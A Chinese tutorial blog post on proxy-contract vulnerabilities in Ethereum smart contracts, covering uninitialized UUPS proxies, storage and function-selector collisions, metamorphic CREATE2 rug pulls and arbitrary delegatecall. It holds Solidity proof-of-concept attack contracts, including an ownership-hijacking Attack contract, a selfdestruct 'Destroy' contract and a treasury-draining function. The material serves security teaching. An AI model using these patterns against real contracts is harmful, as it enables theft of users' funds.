当前位置: 首页 > news >正文

【区块链安全】代理合约中的漏洞

对区块链安全中代理的攻击面进行简单的学习。

0-Proxy的分类


如今Proxy一般分为以下8种,最常用的就是UUPS和Diamond 设计模式,不同合约面临的攻击面也不同。

  1. 普通Proxy合约
  2. Upgradable Proxy
  3. EIP-1967可升级代理合约
  4. TPP
  5. UUPS
  6. Beacon Proxy
  7. Diamond Proxy
  8. Metamorphic Proxy

1-How to Identify Proxy


  • 最普通的代理
    • 不遵循EIP-1967。Proxy使用常规的storage变亮存储,然后和delegatecall一起使用
    • 可能会使用EIP-1167最小的代理字节码。
  • TTP
    • Proxy合约的fallback函数会区别msg.sender是不是admin
    • Proxy contract通常具有生机和更改Proxy管理员代码的功能,同时这些函数被access control modifier保护.
  • UUPS
    • 会从OZ到入uups合约
    • 包含initialize函数
    • 也是会在合约中有1882或者EIP-1882这种
  • Diamond Proxy Identifiers
    • 最有可能的合同名称包含“diamond”、“facet”、“loupe”等字样。
    • 遵循EIP-2535实现
    • 包含 delegatecall 的函数将允许用户指定一个参数来标识应由 delegatecall 调用的 facet。指定分面的这个参数不一定是函数参数,但可以是,例如,可以是 msg.data 。

2-Uninitialized Proxy


完整代码

为什么需要initialized

在学习未初始化漏洞之前,先来了解一下为什么在代理中为什么需要有proxy。
一般在合约部署的时候,构造函数会被自动执行一次,但是我们无法控制在合约被create的时候控制构造函数在Proxy的上下文中运行。
但是Proxy又规定了实现合约_initialize的值必须存储在Proxy的context中,所以我们不能使用构造函数,构造函数的代码将始终在实现合约的上下文中运行。
这也是为什么又initialize函数的原因,因为initialize的是由Proxy调用的,所以在Proxy的上下文中执行。

例子

Proxytoken.sol:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;import "openzeppelin-contracts/contracts/proxy/utils/Initializable.sol";
import "openzeppelin-contracts/contracts/token/ERC20/ERC20.sol";
import "openzeppelin-contracts/contracts/proxy/utils/UUPSUpgradeable.sol";
import "openzeppelin-contracts/contracts/access/Ownable.sol";// code partially borrowed from https://forum.openzeppelin.com/t/uups-proxies-tutorial-solidity-javascript/7786contract ProxyToken is Initializable, ERC20, UUPSUpgradeable, Ownable {constructor() ERC20("ProxyToken", "PTK") {// constructor is ignored by the proxy}function initialize() public initializer {_transferOwnership(_msgSender()); // copied from Ownable constructor}function mint(uint256 quantity) external onlyOwner {_mint(_msgSender(), quantity);}// @note this function should have the onlyOwner modifierfunction _authorizeUpgrade(address) internal override onlyOwner {}
}

UUPS_Proxy.sol:

// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.8.13;import "openzeppelin-contracts/contracts/proxy/ERC1967/ERC1967Proxy.sol";// code borrowed from repo with proxies & tests implemented in forge https://github.com/FredCoen/Proxy_implementations_with_forgecontract UUPSProxy is ERC1967Proxy {constructor(address _implementation, bytes memory _data) ERC1967Proxy(_implementation, _data) {}
}

Test.t.sol:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;import "forge-std/Test.sol";import {ProxyToken} from "../../src/Proxy/Uninitialized/ProxyToken.sol";
import {UUPSProxy} from "../../src/Proxy/Uninitialized/UUPS.sol";// These tests demonstrate the issue of an uninitialized UUPS proxy
// The solution is to initialize the UUPS proxy properly (by calling `initialize()` via the proxy contract)
// Multiple white hat bounties have been claimed for this issueinterface IProxyToken {function balanceOf(address) external returns (uint256);
}contract UUPS_unintialized_Test is Test {ProxyToken public proxyToken;UUPSProxy public proxy;address public alice;function setUp() public {alice = address(0xABCDEF);// Deploy initial implementation and proxy contractproxyToken = new ProxyToken(); // Deploy implementation contractproxy = new UUPSProxy(address(proxyToken), ""); // Deploy ERC1967 proxy contract with testtoken logic as implementationvm.label(address(proxy), "proxy");vm.label(address(proxyToken), "Token");vm.label(address(alice), "alice");}// Step 1: Initialize the proxy and verify the owner is this contractfunction testCorrectInitialization() public {(bool validResponse, bytes memory returnedData) = address(proxy).call(abi.encodeWithSignature("initialize()"));assertTrue(validResponse);(validResponse, returnedData) = address(proxy).call(abi.encodeWithSignature("owner()"));assertTrue(validResponse);address owner = abi.decode(returnedData, (address));// owner of UUPSProxy contract should be this contractassertEq(owner, address(this));(validResponse, returnedData) = address(proxy).call(abi.encodeWithSignature("mint(uint256)", uint256(10 ether)));assertTrue(validResponse);// confirm this address has 10 ether worth of tokensassertEq(IProxyToken(address(proxy)).balanceOf(address(this)), 10 ether);}// Step 2: Initialize proxy as Alice and verify the owner is Alice// The owner forgot to initialize the proxy so the first step for the attacker is to become the owner// Confirm Alice got the tokens minted in the initialize() functionfunction testUnInitialized() public {vm.prank(address(alice));(bool validResponse, bytes memory returnedData) = address(proxy).call(abi.encodeWithSignature("initialize()"));assertTrue(validResponse);(validResponse, returnedData) = address(proxy).call(abi.encodeWithSignature("owner()"));assertTrue(validResponse);address owner = abi.decode(returnedData, (address));// owner of UUPSProxy contract will be aliceassertEq(owner, address(alice));vm.prank(address(alice));(validResponse, returnedData) = address(proxy).call(abi.encodeWithSignature("mint(uint256)", uint256(10 ether)));assertTrue(validResponse);// confirm that alice has 10 ether worth of tokensassertEq(IProxyToken(address(proxy)).balanceOf(address(alice)), 10 ether);}
}

3-Storage Collision


简单了解一下EVM的存储

完整代码

3.1 SolidityByExample

代码来自于SolidityByExample:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;/*
HackMe is a contract that uses delegatecall to execute code.
It is not obvious that the owner of HackMe can be changed since there is no
function inside HackMe to do so. However an attacker can hijack the
contract by exploiting delegatecall. Let's see how.1. Alice deploys Lib
2. Alice deploys HackMe with address of Lib
3. Eve deploys Attack with address of HackMe
4. Eve calls Attack.attack()
5. Attack is now the owner of HackMeWhat happened?
Eve called Attack.attack().
Attack called the fallback function of HackMe sending the function
selector of pwn(). HackMe forwards the call to Lib using delegatecall.
Here msg.data contains the function selector of pwn().
This tells Solidity to call the function pwn() inside Lib.
The function pwn() updates the owner to msg.sender.
Delegatecall runs the code of Lib using the context of HackMe.
Therefore HackMe's storage was updated to msg.sender where msg.sender is the
caller of HackMe, in this case Attack.
*/contract Lib {address public owner;function pwn() public {owner = msg.sender;}
}contract HackMe {address public owner;Lib public lib;constructor(Lib _lib) {owner = msg.sender;lib = Lib(_lib);}fallback() external payable {address(lib).delegatecall(msg.data);}
}contract Attack {address public hackMe;constructor(address _hackMe) {hackMe = _hackMe;}function attack() public {hackMe.call(abi.encodeWithSignature("pwn()"));}
}

3.2-TTP Storage Collision

和上述的类似,具体实现可查看源码

4-Function Collision


首先我们需要了解一下什么是Function Selector,简单来说在EVM中,函数选择器是用来告诉EVM你要调用哪一个函数的。函数选择器是一个 4byte的hash值,Solidity使用它来识别函数。

一般来说函数冲突存在于所有的Proxy类型,但是UUPS中一般概率很少,因为在实现协议中存储了所有的自定义函数。

我们分为两类来讨论,普通的可升级合约,和UUPS。
完整代码

4.1-Upgradeable contract

实现合约:

// SPDX-License-Identifier: MIT
// NOTE: These contracts have a critical bug.
// DO NOT USE THIS IN PRODUCTION
pragma solidity ^0.8.13;contract Implementation {function doImplementationStuff() external pure returns (bool) {return true;}function superSafeFunction96508587(address safu) external pure returns (address) {// vibes checkif (420 > 69) return safu;return address(0);}
}

代理合约:

// SPDX-License-Identifier: MIT
// NOTE: These contracts have a critical bug.
// DO NOT USE THIS IN PRODUCTION
pragma solidity ^0.8.13;/// A proxy contract inspired by
/// https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/proxy/Proxy.sol
///
/// Only the owner can call the contract, where owner is an immutable variable set during the
/// construction.
///
/// The implementation will be set to a deployment of `Implementation.sol` but is also settable.
contract Proxy {address public immutable owner;address public implementation;constructor(address implementation_, address owner_) {owner = owner_;implementation = implementation_;}function setImplementation(address implementation_) external {require(msg.sender == owner, "only owner");implementation = implementation_;}fallback() external payable {require(msg.sender == owner);address implementation_ = implementation;assembly {// Copy msg.data. We take full control of memory in this inline assembly// block because it will not return to Solidity code. We overwrite the// Solidity scratch space at memory position 0.calldatacopy(0, 0, calldatasize())// delegatecall the implementation.// out and outsize are 0 because we don't know the size yet.let success := delegatecall(gas(), implementation_, 0, calldatasize(), 0, 0)// copy the returned data.returndatacopy(0, 0, returndatasize())switch success// delegatecall returns 0 on error.case 0 { revert(0, returndatasize()) }default { return(0, returndatasize()) }}}receive() external payable {}
}

发生函数选择冲突的函数:

setImplementation(address)
superSafeFunction96508587(address)

测试合约:

function testProxy_oops() public {address implementationAddress = address(implementation);vm.prank(owner);assert(IProxy(proxy).doImplementationStuff());address newImplementationAddress = address(0xb0ffed);vm.prank(owner);IProxy(proxy).superSafeFunction96508587(newImplementationAddress);assertEq(IProxy(proxy).implementation(), newImplementationAddress);}

4.2-UUPS

实现合约:

// SPDX-License-Identifier: MIT
// NOTE: These contracts have a critical bug.
// DO NOT USE THIS IN PRODUCTION
pragma solidity ^0.8.13;contract Implementation {address public immutable owner;constructor(address owner_) {owner = owner_;}function setImplementation(address implementation_) external {require(msg.sender == owner, "only owner");assembly {sstore(0, implementation_)}}function delegatecallContract(address target, bytes calldata _calldata) external payable {(, bytes memory ret) = target.delegatecall(_calldata);}function doImplementationStuff() external pure returns (bool) {return true;}
}

ShadyContract.sol:

// SPDX-License-Identifier: MIT
// NOTE: These contracts have a critical bug.
// DO NOT USE THIS IN PRODUCTION
pragma solidity ^0.8.13;contract ShadyContract {address public constant ATTACKER_CONTRACT_ADDRESS = address(0xB0FFEDC0DE);function superSafeFunction96508587(address) external {// this fn is totally safu}function verySafeNotARug() public {(, bytes memory ret) = address(this).delegatecall(abi.encodeWithSelector(ShadyContract.superSafeFunction96508587.selector, ATTACKER_CONTRACT_ADDRESS));}
}

UUPS.sol:

// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.8.13;// A simple implementation of the UUPS proxy.
// Similar to TransparentProxy but `setImplementation` logic is found in the implementation contract
// If a new implementation contract is set that does not contain setImplementation logic, then this becomes
// a non-upgradeable proxy.contract UUPSProxy {address public immutable owner;address public implementation;constructor(address implementation_, address owner_) {implementation = implementation_;owner = owner_;}fallback() external payable {require(msg.sender == owner);address implementation_ = implementation;assembly {// Copy msg.data. We take full control of memory in this inline assembly// block because it will not return to Solidity code. We overwrite the// Solidity scratch space at memory position 0.calldatacopy(0, 0, calldatasize())// delegatecall the implementation.// out and outsize are 0 because we don't know the size yet.let success := delegatecall(gas(), implementation_, 0, calldatasize(), 0, 0)// copy the returned data.returndatacopy(0, 0, returndatasize())switch success// delegatecall returns 0 on error.case 0 { revert(0, returndatasize()) }default { return(0, returndatasize()) }}}receive() external payable {}
}

Test.t.sol:

function testFailUUPSProxy_oops() public {address oldImplementationAddress = address(implementation);assertEq(IProxy(proxy).implementation(), oldImplementationAddress);vm.startPrank(owner);assert(IProxy(proxy).doImplementationStuff());bytes memory bts = abi.encodeWithSelector(ShadyContract.verySafeNotARug.selector, "");IProxy(proxy).delegatecallContract(address(shadyContract), bts);assertEq(IProxy(proxy).implementation(), shadyContract.ATTACKER_CONTRACT_ADDRESS());IProxy(proxy).doImplementationStuff();}

5-Metamorphic Contract Rug


完整代码
先了解一下关于Create2,CREATE2 操作码使我们在智能合约部署在以太坊网络之前就能预测合约的地址,Create2的目的是为了让合约地址独立于未来的时间。不管未来发生生么,都可以吧合约部署在事先计算好的地址上。

所以不怀好意的项目方在原先的合约地址新部署一个恶意地址的话,用户并不知道合约发生了变化,那么就会有问题产生。

示例代码:
Factory.sol:
用Create2进行deploy

function deploy(uint256 salt, bytes calldata bytecode) public returns (address) {bytes memory implInitCode = bytecode;bytes memory metamorphicCode = (hex"5860208158601c335a63aaf10f428752fa158151803b80938091923cf3");address metamorphicContractAddress = _getMetamorphicContractAddress(salt, metamorphicCode);address implementationContract;assembly {let encoded_data := add(0x20, implInitCode) // load initialization code.let encoded_size := mload(implInitCode) // load init code's length.implementationContract :=create(// call CREATE with 3 arguments.0, // do not forward any endowment.encoded_data, // pass in initialization code.encoded_size // pass in init code's length.)} /* solhint-enable no-inline-assembly */_implementations[metamorphicContractAddress] = implementationContract;address addr;assembly {let encoded_data := add(0x20, metamorphicCode) // load initialization code.let encoded_size := mload(metamorphicCode) // load init code's length.addr := create2(0, encoded_data, encoded_size, salt)}require(addr == metamorphicContractAddress, "Failed to deploy the new metamorphic contract.");return addr;}

原本的安全合约:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;contract Multisig {address public owner;modifier onlyOwner() {require(msg.sender == owner);_;}function initialize() external {require(owner == address(0), "Initialized");owner = msg.sender;}function transferFromContract(address _contract) external onlyOwner {bool status;(status,) = _contract.delegatecall(abi.encodeWithSignature("transfer()"));if (!status) revert();}function collect() external onlyOwner {bool sent;(sent,) = owner.call{value: address(this).balance}("");require(sent, "Failed to send Ether");}
}

传入恶意的Destroy合约:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;contract Destroy {// this underhanded contract provides a way for the multisig// contract to be destructed and replaced by calling transfer()function transfer() public {selfdestruct(payable(msg.sender));}
}

在安全的合约被selfdestruct后,在同一地址创建恶意合约,从而rugpull:

function transferFromTreasury(address _contract) external onlyOwner {IERC20 token = IERC20(Treasury(_contract).token());token.transferFrom(_contract, owner, token.balanceOf(_contract));}

完整合约:

6-Delegatecall with Selfdestruct


完整代码
当和selfdestruct和delegatecall一起使用的时候,会出现意外。比如是A delegatecall B,B中的函数包含有self destruct,则合约A将会被销毁,因为selfdestruct在A的Context执行。

一旦合约没有正确的初始化,使恶意用户抢先初始化了,肯定会造成重大问题。

7-Delegatecall to Arbitrary Address


指的是假如合约存在delegatecall,调用的是用户传入的合约,这样就会产生重大风险。

比如上面提到的通过与 selfdestruct 结合 delegatecall 使用,可以实现拒绝服务。另一个风险是,如果用户使用 approve 或设置了允许信任包含任意地址的 delegatecall 代理合约,则任意 delegatecall 目标可用于窃取用户资金。合约传输执行的地址 delegatecall 必须是受信任的合约,并且不能是开放式的,以允许用户提供要委派的地址。

总结

上述所有代码都可以在这个代码库中找到.

http://www.dtcms.com/a/263453.html

相关文章:

  • 车载ECU刷写文件格式汇总详解
  • CppCon 2018 学习:Applied Best Practices
  • APP 内存测试--Android Memory Profiler实操(入门版)
  • ACE之ACE_NonBlocking_Connect_Handler问题分析
  • 【FineDataLink快速入门】01界面介绍-运维中心
  • AI教育全景图:谁在领跑2025?
  • 【Debian】1- 安装Debian到物理主机
  • STM32——DAP下载程序和程序调试
  • 【C++】经典string类问题
  • 【数字人开发】结合nextHuman平台进行数字人网页端开发
  • VMware 在局域网环境将虚拟机内部ip 端口开放
  • 【读代码】TradingAgents:基于多智能体LLM的金融交易框架深度解析
  • STM32 rs485实现中断DMA模式收发不定长数据
  • STM32-第一节-新建工程,GPIO输出(LED,蜂鸣器)
  • SQuirreL SQL:一个免费的通用数据库开发工具
  • 华为云Flexus+DeepSeek征文 | 基于华为云Dify-LLM搭建知识库问答助手
  • 怎么在手机上预约心理咨询师
  • MySQL索引失效场景
  • 【软考高项论文】信息系统项目的资源管理
  • 大模型在急性左心衰竭预测与临床方案制定中的应用研究
  • 【Redis面试篇】Redis高频八股汇总
  • 长短期记忆网络(LSTM):让神经网络拥有 “持久记忆力” 的神奇魔法
  • 周赛98补题
  • Go语言安装使用教程
  • Golang的多环境配置
  • 「Java流程控制」while循环
  • Redis 实现消息队列
  • 【软考高项论文】论信息系统项目的质量管理
  • js代码01
  • 【数据分析】环境数据降维与聚类分析教程:从PCA到可视化